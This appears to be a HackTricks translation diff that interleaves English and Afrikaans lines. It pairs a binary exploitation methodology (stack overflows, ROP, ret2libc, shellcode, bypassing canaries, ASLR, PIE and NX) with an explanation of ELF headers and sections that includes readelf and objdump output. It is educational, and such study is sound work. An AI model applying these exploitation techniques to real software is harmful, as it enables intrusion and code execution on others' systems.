## Exploiting Tools
## Exploitasiemetodes
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Stap Overflow Metodologie
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
Met soveel tegnieke is dit goed om 'n skema te hê wanneer elke tegniek nuttig sal wees. Let daarop dat dieselfde beskermings verskillende tegnieke sal beïnvloed. Jy kan maniere vind om die beskermings in elke beskermingsafdeling te omseil, maar nie in hierdie metodologie nie.
## Controlling the Flow
## Beheer van die Stroom
There are different was you could end controlling the flow of a program:
Daar is verskillende maniere waarop jy die stroom van 'n program kan beheer:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Stap Oorloë**](../stack-overflow/) wat die terugwysers vanaf die stap of die EBP -> ESP -> EIP oorskry.
- Mag nodig wees om 'n [**Heelgetal Oorloë**](../integer-overflow.md) te misbruik om die oorloop te veroorsaak.
- Of via **Arbitraire Skrywe + Skryf Wat Waar na Uitvoering**.
- [**Formaat stringe**](../format-strings/)**:** Misbruik `printf` om arbitraire inhoud in arbitraire adresse te skryf.
- [**Array Indeksering**](../array-indexing.md): Misbruik 'n swak ontwerpte indeksering om sekere arrays te kan beheer en 'n arbitraire skrywe te verkry.
- Mag nodig wees om 'n [**Heelgetal Oorloë**](../integer-overflow.md) te misbruik om die oorloop te veroorsaak.
- **bof na WWW via ROP**: Misbruik 'n bufferoorloop om 'n ROP te konstrueer en in staat te wees om 'n WWW te verkry.
You can find the **Write What Where to Execution** techniques in:
Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Ewige Lusse
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Iets om in ag te neem is dat gewoonlik **net een eksploit van 'n kwesbaarheid mag nie genoeg wees** om 'n suksesvolle eksploit uit te voer, veral omdat sommige beskermings omseil moet word. Daarom is dit interessant om 'n paar opsies te bespreek om **'n enkele kwesbaarheid verskeie kere exploiteerbaar te maak** in dieselfde uitvoering van die binêre:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- Skryf in 'n **ROP** ketting die adres van die **`main` funksie** of na die adres waar die **kwesbaarheid** plaasvind.
- Deur 'n behoorlike ROP-ketting te beheer, mag jy in staat wees om al die aksies in daardie ketting uit te voer.
- Skryf in die **`exit` adres in GOT** (of enige ander funksie wat deur die binêre gebruik word voordat dit eindig) die adres om **terug na die kwesbaarheid** te gaan.
- Soos verduidelik in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stoor 2 funksies hier, een om die kwesbaarheid weer aan te roep en 'n ander om **`__libc_csu_fini`** aan te roep wat die funksie van `.fini_array` weer sal aanroep.
## Exploitation Goals
## Exploitasiedoelwitte
### Goal: Call an Existing function
### Doel: Roep 'n Bestaande funksie aan
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): Daar is 'n funksie in die kode wat jy moet aanroep (miskien met 'n paar spesifieke parameters) om die vlag te verkry.
- In 'n **gereelde bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) hoef jy net die adres in die terugadres wat in die stap gestoor is, te skryf.
- In 'n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/), sal jy dit moet omseil.
- In 'n bof met [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), sal jy dit moet omseil.
- As jy verskeie parameters moet stel om die **ret2win** funksie korrek aan te roep, kan jy gebruik maak van:
- 'n [**ROP**](./#rop-and-ret2...-techniques) **ketting as daar genoeg gadgets is** om al die parameters voor te berei.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in die geval jy hierdie syscall kan aanroep) om baie registers te beheer.
- Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer.
- Via 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/) kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`win`** funksie aan te roep.
- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat deur 'n interessante funksie (sisteem of printf) gaan gebruik word, is dit moontlik om daardie adres te oorskry.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
- [**Ongeïnitialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
### Goal: RCE
### Doel: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Via shellcode, as nx gedeaktiveer is of meng shellcode met ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Stap) Shellcode**](./#stack-shellcode): Dit is nuttig om 'n shellcode in die stap te stoor voordat of nadat die terugwyser oorgeskryf is en dan **na dit te spring** om dit uit te voer:
- **In enige geval, as daar 'n** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in 'n gereelde bof sal jy dit moet omseil (lek).
- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stap te spring aangesien dit nooit sal verander nie.
- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarna te spring.
- **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` aan te roep** en 'n paar bladsye `rwx` te maak, om dan **die shellcode daar te stoor** (byvoorbeeld deur `read` aan te roep) en dan daarheen te spring.
- Dit sal shellcode met 'n ROP-ketting meng.
#### Via syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nuttig om `execve` aan te roep om arbitraire opdragte uit te voer. Jy moet in staat wees om die **gadgets te vind om die spesifieke syscall met die parameters** aan te roep.
- As [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) geaktiveer is, sal jy dit moet oorwin **om ROP gadgets** van die binêre of biblioteke te gebruik.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) kan nuttig wees om die **ret2execve** voor te berei.
- Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer.
#### Via libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nuttig om 'n funksie van 'n biblioteek (gewoonlik van **`libc`**) soos **`system`** met 'n paar voorbereide argumente (bv. `'/bin/sh'`) aan te roep. Jy moet die binêre hê om die **biblioteek te laai** met die funksie wat jy wil aanroep (libc gewoonlik).
- As **statisch gecompileer en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/), sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om dit staties te gebruik.
- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en kennis van die libc weergawe** wat gelaai is, sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om dit staties te gebruik.
- Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, met kennis van die libc en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** met die adres van `'/bin/sh'` in die parameter te gaan (jy sal dit moet uitfigure).
- Met [ASLR](../common-binary-protections-and-bypasses/aslr/) maar geen [PIE](../common-binary-protections-and-bypasses/pie/), met kennis van die libc en **sonder dat die binêre die `system`** gebruik:
- Gebruik [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) om die adres van `system` op te los en dit aan te roep.
- **Oorwin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) en bereken die adres van `system` en `'/bin/sh'` in geheue.
- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en nie kennis van die libc**: Jy moet:
- Oorwin [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Vind die **`libc` weergawe** wat gebruik word (lek 'n paar funksie adresse).
- Kontroleer die **vorige scenario's met ASLR** om voort te gaan.
#### Via EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Stap Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Beheer die ESP om RET deur die gestoor EBP in die stap te beheer.
- Nuttig vir **off-by-one** stap oorloë.
- Nuttig as 'n alternatiewe manier om EIP te beheer terwyl jy EIP misbruik om die payload in geheue te konstrueer en dan daarheen te spring via EBP.
#### Misc
#### Verskeie
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**Punteer Herlei**](../stack-overflow/pointer-redirecting.md): In die geval die stap punte na 'n funksie wat gaan aangeroep word of na 'n string wat gaan gebruik word deur 'n interessante funksie (sisteem of printf), is dit moontlik om daardie adres te oorskry.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
- [**Ongeïnitialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# ELF Basiese Inligting
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## Programkoppe
Die beskryf aan die laaier hoe om die **ELF** in geheue te laai:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
Die vorige program het **9 programkoppe**, dan dui die **segmentkaart** aan in watter programkop (van 00 tot 08) **elke afdeling geleë is**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Programkop
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Bevat die programkop tabel en metadata self.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
Dui die pad van die laaier aan wat gebruik moet word om die binêre in geheue te laai.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Hierdie koppe word gebruik om aan te dui **hoe om 'n binêre in geheue te laai.**\
Elke **LOAD** kop dui 'n gebied van **geheue** (grootte, toestemmings en uitlijning) aan en dui die bytes van die ELF **binêre wat daar gekopieer moet word**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Byvoorbeeld, die tweede het 'n grootte van 0x1190, moet geleë wees by 0x1fc48 met toestemmings lees en skryf en sal gevul word met 0x528 vanaf die offset 0xfc48 (dit vul nie al die gereserveerde ruimte nie). Hierdie geheue sal die afdelings `.init_array .fini_array .dynamic .got .data .bss` bevat.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Hierdie kop help om programme aan hul biblioteekafhanklikhede te koppel en herlokasies toe te pas. Kyk na die **`.dynamic`** afdeling.
### NOTE
This stores vendor metadata information about the binary.
Dit stoor verskaffer metadata-inligting oor die binêre.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
Definieer die ligging van die stapel ontrafel tafels, wat deur debuggers en C++ uitsondering hantering-runtime funksies gebruik word.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Bevat die konfigurasie van die stapel uitvoeringsvoorkoming verdediging. As geaktiveer, sal die binêre nie in staat wees om kode vanaf die stapel uit te voer nie.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Dui die RELRO (Relocation Read-Only) konfigurasie van die binêre aan. Hierdie beskerming sal sekere afdelings van die geheue as lees-slegs merk (soos die `GOT` of die `init` en `fini` tafels) nadat die program gelaai is en voordat dit begin loop.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
In die vorige voorbeeld kopieer dit 0x3b8 bytes na 0x1fc48 as lees-slegs wat die afdelings `.init_array .fini_array .dynamic .got .data .bss` beïnvloed.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
Let daarop dat RELRO gedeeltelik of volledig kan wees, die gedeeltelike weergawe beskerm nie die afdeling **`.plt.got`** nie, wat gebruik word vir **lazy binding** en hierdie geheue ruimte nodig het om **skryftoestemmings** te hê om die adres van die biblioteke die eerste keer te skryf wanneer hul ligging gesoek word.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
Definieer 'n tabel van TLS inskrywings, wat inligting oor draad-lokale veranderlikes stoor.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## Afdelingkoppe
Afdelingkoppe bied 'n meer gedetailleerde oorsig van die ELF binêre.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Dit dui ook die ligging, offset, toestemmings aan, maar ook die **tipe data** wat die afdeling het.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Meta Afdelings
### Meta Sections
- **String tabel**: Dit bevat al die strings wat deur die ELF-lêer benodig word (maar nie diegene wat werklik deur die program gebruik word nie). Byvoorbeeld, dit bevat afdelingsname soos `.text` of `.data`. En as `.text` op offset 45 in die string tabel is, sal dit die nommer **45** in die **naam** veld gebruik.
- Om te vind waar die string tabel is, bevat die ELF 'n wysiger na die string tabel.
- **Simbol tabel**: Dit bevat inligting oor die simbolen soos die naam (offset in die string tabel), adres, grootte en meer metadata oor die simbol.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Hoof Afdelings
### Main Sections
- **`.text`**: Die instruksie van die program om uit te voer.
